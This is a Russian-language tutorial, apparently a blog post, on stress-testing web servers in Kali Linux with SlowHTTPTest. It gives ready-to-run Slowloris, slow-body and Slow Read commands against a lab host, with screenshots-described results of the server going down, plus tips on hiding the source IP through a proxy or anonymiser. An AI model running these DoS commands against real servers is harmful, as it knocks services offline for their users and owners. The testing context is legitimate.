Стресс-тест сети в Kali Linux

Стресс-тест сети в Kali Linux

Life-Hack

Стресс-тесты сети могут дать важные данные о проблемах, связанных с производительностью сервера, о неправильной (недостаточной) его настройке. Даже чтобы проверить, правильно ли настроен и работает mod_evasive пригодятся утилиты для имитации DoS атак.

SlowHTTPTest — это имеющий множество настроек инструмент, симулирующие

некоторые атаки отказа в обслуживании (DoS) уровня приложения. Он работает на большинстве платформ Linux, OSX и Cygwin (Unix-подобное окружение и интерфейс командной строки для Microsoft Windows).

Эта программа реализует наиболее общие замедляющие работу сети DoS атаки уровня приложений, такие как Slowloris, атака slow body, атака Slow Read (на основе эксплойта постоянного таймера TCP), она занимает весь доступный пул подключений, а также атака Apache Range Header, которая становится причиной очень значительного использования памяти и центрального процессора на сервере.

Slowloris и Slow HTTP POST DoS атаки полагаются на факт, что HTTP, намеренно, требует от запросов быть полученными сервером полностью до того, как они будут обработаны. Если запрос HTTP неполон или скорость его пересылки очень медленная, сервер сохраняет своио ресурсы занятыми, ожидая оставшихся данных. Если сервер поддерживает слишком много занятых ресурсов, то это влечёт отказ в обслуживании.

Этот инструмент отправляет частичные запросы HTTP, пытаясь добиться отказа в обслуживании от целевого HTTP сервера.

Атака Slow Read нацелена на те же ресурсы, что и slowloris со slow body, но вместо продлевания запроса, она отправляет легитимные HTTP запросы, но ответы читает медленно.

Установка SlowHTTPTest

Установка для пользователей Kali Linux

Для пользователей Kali Linux установка через apt-get

| apt-get install slowhttptest

Теперь только остаётся выполнить конфигурацию, компиляцию и установку.

1| $ tar -xzvf slowhttptest-x.x.tar.gz

2| $ cd slowhttptest-x.x

3| $ ./configure --prefix=PREFIX

4| $ make

5| $ sudo make install


Здесь PREFIX должен быть заменён на абсолютный путь, где инструмент slowhttptest должен быть установлен.

У вас должна быть установлена libssl-dev для успешной компиляции этого инструмента.

Большинство систем должны иметь его.

Использование SlowHTTPTest slowhttptest это потрясающий инструмент, который позволяет делать многие вещи.

Далее только несколько примеров использования.

Пример использования в режиме slow body a.k.a R-U-Dead-Yet, результаты только выводятся на экран:

1| slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.1.37/info.php x 10 -p 3

Тоже самое, но график сохраняется в файл:

1| lowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u

http://192.168.1.37/info.php -x 10 -p 3

А это тесты памяти, которые я проводил с интервалами в несколько секунд на сервере, который подвергался атаке. Первый замер сделан до атаки, последующие — во время.

Видно, что количество свободной памяти уменьшалось очень стремительно вплоть до того момента, пока сервер не лёг.

Пример использования в режиме slow headers a.k.a. Slowloris:

1| slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u http://192.168.1.37/info.php -x 24 -p 3

Тоже самое, но график сохраняется в файл:

1| slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u

http://192.168.1.37/info.php -x 24 -p 3

Всё очень похоже: сервер лёг и больше не поднимался:

Пример использования в режиме Slow Read через прокси.

Здесь x.x.x.x:8080 — это прокси, который используется для доступа к веб-сайту с IP отличного от вашего:

1| slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://192.168.1.37/info.php -p 5 -l 350 -e x.x.x.x:8080

Сервер в нокауте:

Вывод по SlowHTTPTest

В зависимости от выбранного уровня детальности, вывод может быть как простым в виде генерируемых каждый 5 секунд сообщений, показывающих статус соединений (это при уровне 1), так и полным дампом трафика (при уровне детальности 4).

-g опция означает создание файла CSV, а также интерактивного HTML, основанного на инструментах Google Chart.

Приведённые выше скриншоты показывают состояние соединений и доступность сервера на различных этапах времени, а также дают общую картину поведения конкретного сервера под конкретной нагрузкой во время заданного временного интервала.

Файл CSV может быть полезен в качестве источника для вашего любимого инструмента по работе с данными, среди них могут быть MS Excel, iWork Numbers или Google Docs.

Последнее сообщение, которые выводит программа при закрытии, этот статус

завершения, они могут быть следующими:

 “Hit test time limit” программа достигла лимита времени, заданного аргументом

-l

 “No open connections left” пир закрыл все соединения

 “Cannot establish connection” не было установлено соединений за время N

секунд теста, где N или величина аргумента -i, или 10 (значение по умолчанию).

Это может случиться если нет маршрута к удалённому хосту или пир лёг.

 “Connection refused” удалённый сервер не принимает соединения (может быть

только от тебя? Попробуйте использовать прокси) на определённом порту

 “Cancelled by user” вы нажали Ctrl-C или отправили SIGINT каким-либо другим

образом

 “Unexpected error” не должно никогда случаться.

Примеры вывода реальных тестов SlowHTTPTest

Примеры уже даны чуть выше, давайте сделаем ещё один. Как и в предыдущие разы у меня доступ к атакующей и атакуемой машинам, поэтому есть возможность выполнить замеры на обоих. В этот раз посчитаем количество соединений.

Со стороны атакующего

Итак, я собрал статистику для атаки на http://192.168.1.37 с 1000 соединениями.

1| slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u

http://192.168.1.37/info.php -x 10 -p 3

Со стороны сервера-жертвы

1| root@WebWare-Debian:~# netstat | grep http | wc -l

2| 111

Показатели не получается снять во время проведения атаки, т. к. по SSH сервер также перестаёт отвечать. Общее число http соединений подпрыгнуло до 111 в первые 10 секунд.

Этого более чем достаточно чтобы положить сервер (это могут быть большинство маленьких серверов или VPS).

Рекомендации по тестированию DoS

 DoS атака чужих серверов без разрешения, особенно успешная, является

преступлением, в том числе в РФ

 При атаке на локалхост (особенно на маломощных и виртуальных машинах),

тормоза сервера могут быть связаны не с DoS атакой, а с тем, что сама

программа SlowHTTPTest заняла все ресурсы и сама по себе тормозит

компьютер.

 Если при атаке на удалённый хост программа пишет вам, что он недоступен, а

при попытке открыть страницу веб-сайта в браузере действительно ничего не

открывается, то не спешите радоваться. Вполне возможно, сто сработала защита

от DoS атаки и ваш IP (временно) заблокирован. Для всех остальных сайт

прекрасно открывается. Можете убедиться в этом сами, используя любой

анонимайзер или прокси или подключившись через другого Интернет-

провайдера.

Заключение

Это можно делать с Windows, Linux и даже с Mac. Если вы запустите несколько DoS инструментов, таких как GoldenEye, hping3 на один веб-сервер, то тогда его будет очень просто выбить. Общие советы по защите от DoS будут в следующей статье (да, следующая статья опять про стресс-тест сети). А о правильной настройке сервера, в том числе о модуле, защищающим именно от слоу-атак, будет рассказано в ближайшее время. Источник

Report Page